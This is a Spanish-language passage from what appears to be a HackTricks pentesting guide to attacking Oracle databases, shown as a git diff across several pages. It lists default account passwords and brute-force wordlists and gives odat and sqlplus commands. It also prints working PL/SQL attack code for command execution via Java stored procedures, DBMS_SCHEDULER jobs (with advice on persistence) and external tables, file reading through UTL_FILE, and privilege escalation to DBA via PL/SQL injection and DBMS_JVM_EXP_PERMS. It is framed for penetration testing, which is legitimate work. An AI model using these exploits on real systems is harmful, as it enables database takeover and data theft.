**Metasploit** _\*\*scanner/oracle/oracle\_login_ tiene un diccionario incorporado para las **valores predeterminados más populares de la información de la cuenta de usuario** presentados como login:password. Por cierto, tales entradas predeterminadas representan uno de los problemas de seguridad más populares y graves en Oracle.
|
||||
|
||||
**Nmap** también puede ayudar aquí con el script _oracle-brute_. Ten en cuenta que este script **mezcla los logins y las contraseñas**, es decir, prueba cada login contra cada contraseña, ¡y tarda bastante tiempo!
|
||||
|
||||
### **Contraseñas Predeterminadas**
|
||||
|
||||
A continuación se muestran algunas de las contraseñas predeterminadas asociadas con Oracle:
|
||||
|
||||
* **DBSNMP/DBSNMP** — El Agente Inteligente lo usa para hablar con el servidor de la base de datos (es un poco de trabajo cambiarlo)
|
||||
* **SYS/CHANGE\_ON\_INSTALL** — Cuenta sysdba predeterminada antes e incluyendo Oracle v9, a partir de la versión 10g ¡esto tiene que ser diferente!
|
||||
* **PCMS\_SYS/PCMS\_SYS** — Cuenta x predeterminada
|
||||
* **WMSYS/WMSYS** — Cuenta x predeterminada
|
||||
* **OUTLN/OUTLN** — Cuenta x predeterminada
|
||||
* **SCOTT/TIGER** — Cuenta x predeterminada
|
||||
|
||||
Otras **contraseñas predeterminadas** se pueden encontrar [aquí](http://www.petefinnigan.com/default/oracle\_default\_passwords.htm) y [aquí](https://cirt.net/passwords?vendor=Oracle).
|
||||
|
||||
Las versiones 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2 y 11.2.0.3 son vulnerables a la **fuerza bruta offline**. [**Lee más sobre esta técnica aquí.**](remote-stealth-pass-brute-force.md)
|
||||
|
||||
### Fuerza Bruta de Usuario/Contraseña
|
||||
|
||||
Diferentes herramientas ofrecen **diferentes listas de usuario/contraseña** para Oracle:
|
||||
|
||||
* **oscan:** _/usr/share/oscanner/accounts.default_ (169 líneas)
|
||||
* **MSF-1:** _from_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv (598 líneas)
|
||||
* **MSF-2:** _from scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ (568 líneas)
|
||||
* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ (687 líneas)
|
||||
|
||||
He **mezclado** todas ellas y **eliminado duplicados:**
|
||||
|
||||
{% file src="../../.gitbook/assets/users-oracle.txt" %}
|
||||
|
||||
{% file src="../../.gitbook/assets/pass-oracle.txt" %}
|
||||
|
||||
### [Fuerza Bruta](../../generic-methodologies-and-resources/brute-force.md#oraclesql)
|
||||
|
||||
Ahora que **conoces un SID válido y credenciales válidas**. Para conectarte a la base de datos necesitas la herramienta: _**sqlplus**_ y para instalarla necesitas seguir algunos pasos:
|
||||
|
||||
[Instalación](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
Para iniciar sesión usando credenciales conocidas:
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>/<SID>;
|
||||
```
|
||||
Si el TNS Listener está en un puerto no predeterminado (por ejemplo, TCP/1522):
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>:<port>/<SID>;
|
||||
```
|
||||
Si una **cuenta tiene privilegios de base de datos del sistema (sysdba) o de operador del sistema (sysop)**, es posible que desee intentar lo siguiente:
|
||||
```bash
|
||||
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
|
||||
#Example:
|
||||
sqlplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba'
|
||||
```
|
||||
## **Todo en uno**
|
||||
|
||||
**Una herramienta interesante es oscanner**, que intentará obtener un SID válido y luego realizará un ataque de fuerza bruta para obtener credenciales válidas e intentará extraer información:
|
||||
```bash
|
||||
#apt install oscanner
|
||||
oscanner -s <IP> -P <PORT>
|
||||
```
|
||||
Otra herramienta que hará todo esto es [**odat**](https://github.com/quentinhardy/odat):
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py --help #It shouldn't be problems in Kali
|
||||
./odat.py all -s <IP> -p <PORT>
|
||||
./odat.py all -s <IP> -p <PORT> -d <SID> #To bruteforce accounts for that SID
|
||||
```
|
||||
Con estas opciones (_-s_ y _-p_), ODAT buscará **SID válidos** (System ID) en un primer paso. Puedes configurar algunas opciones para configurar los métodos (por ejemplo, lista de palabras o ataque de fuerza bruta). Por defecto, ODAT usará una gran lista de palabras y realizará un pequeño ataque de fuerza bruta.
|
||||
|
||||
Si ODAT **encuentra al menos un SID** (por ejemplo, _ORCL_), buscará **cuentas de Oracle válidas**. Lo hará en **cada SID encontrado**. Puedes especificar algunas opciones para las credenciales (por ejemplo, _--accounts-file_, _--accounts-files_, _--login-as-pwd_).
|
||||
|
||||
Para **cada cuenta válida** (por ejemplo, _SYS_) **en cada instancia válida** (SID), ODAT devolverá **lo que cada usuario de Oracle puede hacer** (por ejemplo, shell inversa, leer archivos, convertirse en DBA).
|
||||
|
||||
[**Wiki odat**](https://github.com/quentinhardy/odat/wiki)
|
||||
|
||||
## Ejecución remota de código
|
||||
|
||||
Hay al menos dos formas diferentes de ejecutar comandos, como el uso de procedimientos Java y el paquete DBMS\_SCHEDULER. De todas formas, también puedes lograr RCE en caso de inyección SQL en una aplicación web siempre y cuando el usuario que la ejecuta tenga suficientes permisos. En esta etapa, recomiendo encarecidamente preparar la Herramienta de Ataque a la Base de Datos de Oracle: [ODAT](https://github.com/quentinhardy/odat).
|
||||
|
||||
### Instalar ODAT
|
||||
```bash
|
||||
git clone https://github.com/quentinhardy/odat.git
|
||||
cd odat
|
||||
./odat.py #It shouldn't be problems in Kali
|
||||
```
|
||||
### Ejecutar código a través de un procedimiento almacenado de Java
|
||||
```bash
|
||||
./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND
|
||||
```
|
||||
### Ejecutar código a través del programador
|
||||
```bash
|
||||
./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK"
|
||||
```
|
||||
[More details here](oracle-rce-and-more.md#rce-scheduler)
|
||||
|
||||
### Ejecutar código a través de tablas externas
|
||||
```bash
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe"
|
||||
```
|
||||
‘ODAT.py’ requiere el privilegio ‘CREATE ANY DIRECTORY’, el cual, por defecto, solo es otorgado al rol DBA, ya que intenta ejecutar el archivo desde cualquier directorio y no solo “tu” directorio (la versión manual de este ataque requiere menos privilegios).
|
||||
|
||||
[Más detalles aquí.](oracle-rce-and-more.md#rce-external-tables)
|
||||
|
||||
## Leer/Escribir archivos
|
||||
```bash
|
||||
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
|
||||
```
|
||||
[Más detalles aquí](oracle-rce-and-more.md#read-write-files)
|
||||
|
||||
## Elevando Privilegios
|
||||
|
||||
[Más detalles aquí](oracle-rce-and-more.md#elevating-privileges)
|
||||
|
||||
Puedes usar el módulo [privesc](https://github.com/quentinhardy/odat/wiki/privesc) de odat para escalar privilegios. En ese enlace puedes encontrar **varias formas de escalar privilegios usando odat.**
|
||||
```bash
|
||||
./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help
|
||||
```
|
||||
Vulnerabilidad probada en Oracle 10.1.0.3.0 - debería funcionar hasta 10.1.0.5.0 y supuestamente en 11g. Solucionado con la actualización crítica de parches de Oracle de octubre de 2007.
|
||||
```bash
|
||||
msf> use auxiliary/sqli/oracle/lt_findricset_cursor
|
||||
```
|
||||
## Entorno virtual gratuito para pruebas
|
||||
|
||||
Si deseas practicar ataques a bases de datos Oracle, la forma más segura es registrarse en Oracle Developer Days Virtualbox VM:
|
||||
|
||||
{% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" %}
|
||||
|
||||
La mayor parte de la información en esta publicación fue extraída de: [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) y de [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
|
||||
Otras **referencias** interesantes:
|
||||
|
||||
[http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## Comandos automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,57 @@
|
|||
# Instalación de herramientas (sqlplus) y bibliotecas necesarias para usar los módulos MSF de Oracle
|
||||
|
||||
_(Esta guía de instalación fue creada para la versión 12.1.0.1.0, cambie ese nombre por la versión que descargue)_
|
||||
|
||||
Como root, cree el directorio `/opt/oracle`. Luego descargue los paquetes [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) para su versión de Kali Linux. Los paquetes que necesitará son:
|
||||
|
||||
* instantclient-basic-linux-12.1.0.1.0.zip
|
||||
* instantclient-sqlplus-linux-12.1.0.1.0.zip
|
||||
* instantclient-sdk-linux-12.1.0.1.0.zip
|
||||
|
||||
Descomprima estos en `/opt/oracle`, y ahora debería tener una ruta llamada `/opt/oracle/instantclient_12_1/`. A continuación, cree un enlace simbólico a la biblioteca compartida que necesitamos para acceder a la biblioteca de Oracle:
|
||||
```
|
||||
# ln libclntsh.so.12.1 libclntsh.so
|
||||
# ls -lh libclntsh.so
|
||||
lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1
|
||||
# ldconfig
|
||||
```
|
||||
También necesitas configurar las variables de entorno apropiadas, agrega lo siguiente a cualquiera de los siguientes archivos:
|
||||
|
||||
* \~/.bashrc
|
||||
* /etc/profile
|
||||
```
|
||||
export PATH=$PATH:/opt/oracle/instantclient_12_1
|
||||
export SQLPATH=/opt/oracle/instantclient_12_1
|
||||
export TNS_ADMIN=/opt/oracle/instantclient_12_1
|
||||
export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1
|
||||
export ORACLE_HOME=/opt/oracle/instantclient_12_1
|
||||
```
|
||||
Agregar las librerías de Oracle a ldconfig:
|
||||
```
|
||||
echo "/opt/oracle/instantclient_12_1/" >> /etc/ld.so.conf.d/99_oracle
|
||||
```
|
||||
Si has tenido éxito, deberías ser capaz de ejecutar `sqlplus` desde una terminal **(puede que necesites cerrar sesión y volver a iniciarla)**:
|
||||
```
|
||||
sqlplus <username>/<password>@<ip_address>/<SID>;
|
||||
```
|
||||
## **Paso Dos — Instalar la gema Ruby ruby-oci8**
|
||||
|
||||
_Estos pasos son necesarios para utilizar los módulos de Oracle de Metasploit_
|
||||
|
||||
**Instalar otras dependencias del sistema operativo:**
|
||||
```
|
||||
apt-get install libgmp-dev
|
||||
```
|
||||
**Compilar e instalar ruby-oci8 (root)**
|
||||
```
|
||||
wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.8.zip
|
||||
unzip ruby-oci8-2.1.8.zip
|
||||
cd ruby-oci8-ruby-oci8-2.1.8/
|
||||
```
|
||||
|
||||
```
|
||||
make
|
||||
make install
|
||||
gem install ruby-oci8
|
||||
```
|
||||
Reinicia msfconsole (o reinicia la computadora).
|
|
@ -0,0 +1,212 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# RCE: Procedimiento almacenado de Java
|
||||
|
||||
Imaginemos que tenemos la información de la cuenta de administrador. En este caso, una forma muy popular de ejecutar comandos en el servidor es escribir un procedimiento almacenado de Java. Esto se hace en tres etapas. Primero, se crea una clase Java llamada 'oraexec'. Para hacer esto, conéctese a través de la terminal 'sqlplus' y escriba:
|
||||
```text
|
||||
create or replace and resolve java source named "oraexec" as
|
||||
import java.lang.*;
|
||||
import java.io.*;
|
||||
public class oraexec
|
||||
{
|
||||
public static void execCommand(String command) throws IOException
|
||||
{
|
||||
Runtime.getRuntime().exec(command);
|
||||
}
|
||||
}
|
||||
/
|
||||
|
||||
```
|
||||
A continuación, escriba un envoltorio PL/SQL para esta clase:
|
||||
```text
|
||||
create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; /
|
||||
```
|
||||
Eso es todo. Ahora, para ejecutar un comando, todo lo que necesitas es enviar la siguiente consulta:
|
||||
```text
|
||||
exec javacmd('command');
|
||||
```
|
||||
Tenga en cuenta que al utilizar el procedimiento anterior, no podemos ver los resultados del comando ejecutado, sin embargo, puede redirigir la salida a un archivo y leerlo. Puede encontrar el código completo del shell que permite leer y escribir archivos:
|
||||
|
||||
{% file src="../../.gitbook/assets/raptor\_oraexec.sql" %}
|
||||
|
||||
Sin embargo, hay un \[script más sofisticado\] \(goo.gl/EuwPRU\) que maneja la salida del comando, pero tiene un tamaño mayor [aquí](https://oracle-base.com/articles/8i/shell-commands-from-plsql).
|
||||
|
||||
# RCE: Programador
|
||||
|
||||
El siguiente método, que nos ayudará si no hay una máquina virtual de Java, es utilizar 'dbmsscheduler', el programador de tareas incorporado de Oracle. Para usarlo, debe tener el privilegio 'CREATE EXTERNAL JOB'. Aquí hay un ejemplo de código que implementa la entrada de la cadena '0wned' en un archivo de texto en la raíz de la unidad C:
|
||||
```text
|
||||
exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\ WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE);
|
||||
exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE);
|
||||
```
|
||||
Esto creará y ejecutará un trabajo para ejecutar tu comando. Y aquí hay una opción para llamar al Planificador desde otro procedimiento - 'SYS.KUPP$PROC.CREATE\_MASTER\_PROCESS', que nos interesa principalmente porque te permite incrustar consultas de varias declaraciones, es decir, aquellas que consisten en múltiples subconsultas. Teóricamente, puedes ejecutar dicha consulta incluso en caso de inyección en una aplicación web.
|
||||
```text
|
||||
select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''xxx'',''EXECUTABLE'',''cmd.exe /c echo qqq>>C:/scchh'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=>''jobx'',program_name=>''xxx'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''xxx'');dbms_scheduler.purge_log;') from dual
|
||||
```
|
||||
Ten en cuenta que, al utilizar el Programador, puedes ejecutar esta tarea más de una vez y hacerlo con cierta frecuencia. Como resultado, esto te ayudará a obtener un punto de apoyo en el sistema probado, porque incluso si el administrador elimina al usuario del SO, esta tarea que se ejecuta regularmente en el sistema lo traerá de vuelta a la vida.
|
||||
|
||||
# RCE: Tablas Externas
|
||||
|
||||
Como último método para lograr la ejecución de comandos del SO, me gustaría mencionar el uso de Tablas Externas. Este método te ayudará a descargar archivos del servidor más tarde. Necesitarás los siguientes privilegios:
|
||||
|
||||
* UTL\_FILE;
|
||||
* CREATE TABLE;
|
||||
* un directorio reservado para el usuario.
|
||||
|
||||
Recordemos que el acceso al paquete 'UTL\_FILE' se proporciona por defecto a todas las cuentas con el rol 'CONNECT'. Paso uno: Verifica los directorios emitidos con la siguiente consulta:
|
||||
```text
|
||||
SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN
|
||||
(SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY')
|
||||
and privilege='EXECUTE' ORDER BY GRANTEE;
|
||||
|
||||
TABLE_NAME
|
||||
------------------------------
|
||||
ALICE_DIR
|
||||
```
|
||||
Paso dos: Crea un archivo batch ejecutable con el comando deseado:
|
||||
```text
|
||||
declare
|
||||
f utl_file.file_type;
|
||||
s varchar2(200) := 'echo KOKOKO >> C:/pwned';
|
||||
begin
|
||||
f := utl_file.fopen('ALICE_DIR','test.bat','W');
|
||||
utl_file.put_line(f,s);
|
||||
utl_file.fclose(f);
|
||||
end;
|
||||
/
|
||||
```
|
||||
Paso tres: Prepara la tabla externa 'EXTT', la necesitarás para ejecutar el archivo:
|
||||
```text
|
||||
CREATE TABLE EXTT (line varchar2(256))
|
||||
ORGANIZATION EXTERNAL
|
||||
(TYPE oracle_loader
|
||||
DEFAULT DIRECTORY ALICE_DIR
|
||||
ACCESS PARAMETERS
|
||||
( RECORDS DELIMITED BY NEWLINE
|
||||
FIELDS TERMINATED BY ',')
|
||||
LOCATION (alice_dir:'test.bat'))
|
||||
/
|
||||
```
|
||||
Ahora, simplemente llama a tu archivo por lotes con el siguiente comando:
|
||||
```text
|
||||
SELECT * from EXTT;
|
||||
```
|
||||
La terminal comenzará a mostrar mensajes de error que indican que el sistema no puede encontrar la tabla y el archivo invocado, pero en este caso no es importante, ya que el objetivo principal era abrir el archivo ejecutable, lo cual se ha logrado.
|
||||
|
||||
La utilidad 'ODAT.py' también puede implementar este ataque. Sin embargo, requiere el privilegio 'CREATE ANY DIRECTORY', que por defecto solo se otorga al rol de DBA, ya que intenta ejecutar el archivo desde cualquier directorio y no solo "el tuyo".
|
||||
|
||||
# Leer/Escribir archivos
|
||||
|
||||
Ahora, procedamos a la tarea de leer y escribir archivos. Si simplemente necesita leer o escribir un archivo en el servidor, puede hacerlo sin necesidad de utilizar procedimientos de Java, aunque estos también pueden manejar tales tareas. Echemos un vistazo al paquete 'UTL_FILE', que tiene la funcionalidad requerida para trabajar con el sistema de archivos. La buena noticia es que, por defecto, puede ser accedido por todos los usuarios con el rol 'PUBLIC'. La mala noticia es que, por defecto, este procedimiento no tiene acceso a todo el sistema de archivos, sino solo a un directorio predefinido por el administrador. Sin embargo, no es raro encontrar un parámetro de directorio especificado como '*', lo que literalmente significa "acceso a todo". Puede averiguar esto utilizando el siguiente comando:
|
||||
```text
|
||||
select name, value from v$parameter where name = 'utl_file_dir';
|
||||
With appropriate rights, you can expand the access by using the following query:
|
||||
alter system set utl_file_dir='*' scope =spfile;
|
||||
```
|
||||
Encontré que el procedimiento más corto para usar el paquete 'UTL_FILE' es el propuesto por Alexander Polyakov:
|
||||
```text
|
||||
SET SERVEROUTPUT ON
|
||||
declare
|
||||
f utl_file.file_type;
|
||||
sBuffer Varchar(8000);
|
||||
begin
|
||||
f:=UTL_FILE.FOPEN (''C:/’,'boot.ini','r');
|
||||
loop
|
||||
UTL_FILE.GET_LINE (f,sBuffer);
|
||||
DBMS_OUTPUT.PUT_LINE(sBuffer);
|
||||
end loop;
|
||||
EXCEPTION
|
||||
when no_data_found then
|
||||
UTL_FILE.FCLOSE(f);
|
||||
end;
|
||||
/
|
||||
|
||||
```
|
||||
Si necesitas más funcionalidad con la capacidad de escribir, recomiendo buscar un script llamado 'raptor_oraexec.sql'. Y siguiendo la tradición, aquí hay una opción para usar la utilidad 'ODAT', que, como siempre, es la más corta:
|
||||
```text
|
||||
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
|
||||
```
|
||||
El paquete 'UTL_FILE' también es muy interesante porque si tienes suerte, puedes acceder a los registros, archivos de configuración y obtener contraseñas de cuentas privilegiadas, como 'SYS'.
|
||||
|
||||
El segundo método que me gustaría mencionar es usar nuevamente las 'Tablas Externas'. Recuerda que, al usar 'Tablas Externas', la base de datos puede acceder en modo de lectura a los datos de las tablas externas. Para un hacker, esto significa otra oportunidad de descargar archivos del servidor, pero este método requiere el privilegio 'CREATE ANY DIRECTORY'. Sugiero usar inmediatamente 'ODAT', ya que es estable y rápido:
|
||||
```text
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
|
||||
```
|
||||
# Elevación de privilegios
|
||||
|
||||
Existen varios métodos para elevar privilegios, desde desbordamientos de búfer clásicos y parcheo de DLL hasta ataques especializados contra bases de datos, como inyecciones PL/SQL. El tema es muy extenso y, en este artículo, no profundizaré en él, ya que se discute en grandes documentos de investigación, como los que se encuentran en los blogs de \[Lichfield\] \(goo.gl/IebQN4\) y \[Finnigan\] \(goo.gl/vXhttf\). Solo demostraré algunos de ellos, para que tengas una idea general. Durante las pruebas, recomiendo prestar atención simplemente a los privilegios actuales y, en función de esto, buscar lagunas deseadas en Internet.
|
||||
|
||||
A diferencia de MS SQL, donde un atacante puede inyectar 'xp\_cmdshell' casi inmediatamente después de 'SELECT' simplemente cerrándolo con una comilla, Oracle DB rechaza rotundamente tales trucos. Por esta razón, no siempre podemos recurrir a inyecciones SQL clásicas, aunque en este caso también es posible encontrar una salida. Consideraremos inyecciones PL/SQL, que modifican el proceso de ejecución de un procedimiento \(función, disparador y otros objetos\) mediante la inserción de comandos aleatorios en los parámetros de entrada disponibles. \(с\) Sh2kerr
|
||||
|
||||
Para insertar la carga útil, encuentre una función donde los parámetros de entrada no estén filtrados. Recuerde que Oracle SQL no permite consultas de múltiples declaraciones \(múltiples\), por lo tanto, es probable que deba usar algunos procedimientos "especiales" que tengan esta característica. La idea principal detrás del ataque es la siguiente: por defecto, a menos que se especifique lo contrario, el procedimiento se ejecuta en nombre del propietario y no en nombre del usuario que lo inició. En otras palabras, si está disponible un procedimiento propiedad de la cuenta 'SYS' para su ejecución y puede incrustar su código en él, su carga útil también se ejecutará en el contexto de la cuenta 'SYS'. Como ya mencioné, esto no siempre sucede, ya que existen procedimientos con el parámetro 'authid current\_user', lo que significa que este procedimiento se ejecutará con los privilegios del usuario actual. Sin embargo, por lo general, en cada versión, se pueden encontrar algunas funciones que son vulnerables a la inyección PL/SQL. Una vista general de este proceso se muestra en la Fig. 2.
|
||||
|
||||
[![inject](https://hackmag.com/wp-content/uploads/2015/04/inject.png)](https://hackmag.com/wp-content/uploads/2015/04/inject.png)
|
||||
|
||||
En resumen, en lugar del argumento legítimo esperado, pasamos algún código malicioso que se convierte en parte del procedimiento. Un buen ejemplo es proporcionado por la función 'CTXSYS.DRILOAD'. Se ejecuta en nombre de 'CTXSYS' y no filtra el parámetro de entrada, lo que le permite ascender fácilmente a DBA:
|
||||
```text
|
||||
exec ctxsys.driload.validate_stmt('grant dba to scott');
|
||||
```
|
||||
Sin embargo, esto probablemente ya es historia, ya que la vulnerabilidad fue encontrada en 2004 y solo afecta a las versiones antiguas 8-9. Por lo general, el proceso de escalar privilegios se divide en dos partes: escribir el procedimiento que aumenta los derechos y realizar la inyección en sí misma. Un procedimiento típico es el siguiente:
|
||||
```text
|
||||
CREATE OR REPLACE FUNCTION F1
|
||||
RETURN NUMBER AUTHID CURRENT_USER
|
||||
IS
|
||||
PRAGMA AUTONOMOUS_TRANSACTION;
|
||||
BEGIN
|
||||
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
|
||||
COMMIT;RETURN(1);END;
|
||||
/
|
||||
```
|
||||
Ahora podemos inyectar un procedimiento como argumento de la función vulnerable (ejemplo para versiones 10x):
|
||||
```text
|
||||
exec sys.kupw$WORKER.main('x','YY'' and 1=test1.f1 –-');
|
||||
```
|
||||
En las versiones no muy recientes 10 y 11, hay una "bonita" excepción, o más bien una vulnerabilidad, que permite ejecutar comandos en el servidor sin tener derechos de DBA: el procedimiento 'DBMS\_JVM\_EXP\_PERMS' permite a un usuario con el privilegio 'CREATE SESSION' obtener derechos de 'JAVA IO'. El ataque se puede montar de la siguiente manera:
|
||||
```text
|
||||
SQL> DECLARE
|
||||
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
|
||||
CURSOR C1 IS SELECT
|
||||
'GRANT','GREMLIN','SYS','java.io.FilePermission','<FILES>>','execute','ENABLED' FROM DUAL;
|
||||
BEGIN
|
||||
OPEN C1;
|
||||
FETCH C1 BULK COLLECT INTO POL;
|
||||
CLOSE C1;
|
||||
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
|
||||
END;
|
||||
/
|
||||
|
||||
PL/SQL procedure successfully completed.
|
||||
```
|
||||
Ahora que tienes los privilegios para llamar a procedimientos de Java, puedes provocar una respuesta del intérprete de Windows y ejecutar algo:
|
||||
```text
|
||||
SQL> select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c echo 123 >c:\\hack’)from dual;
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
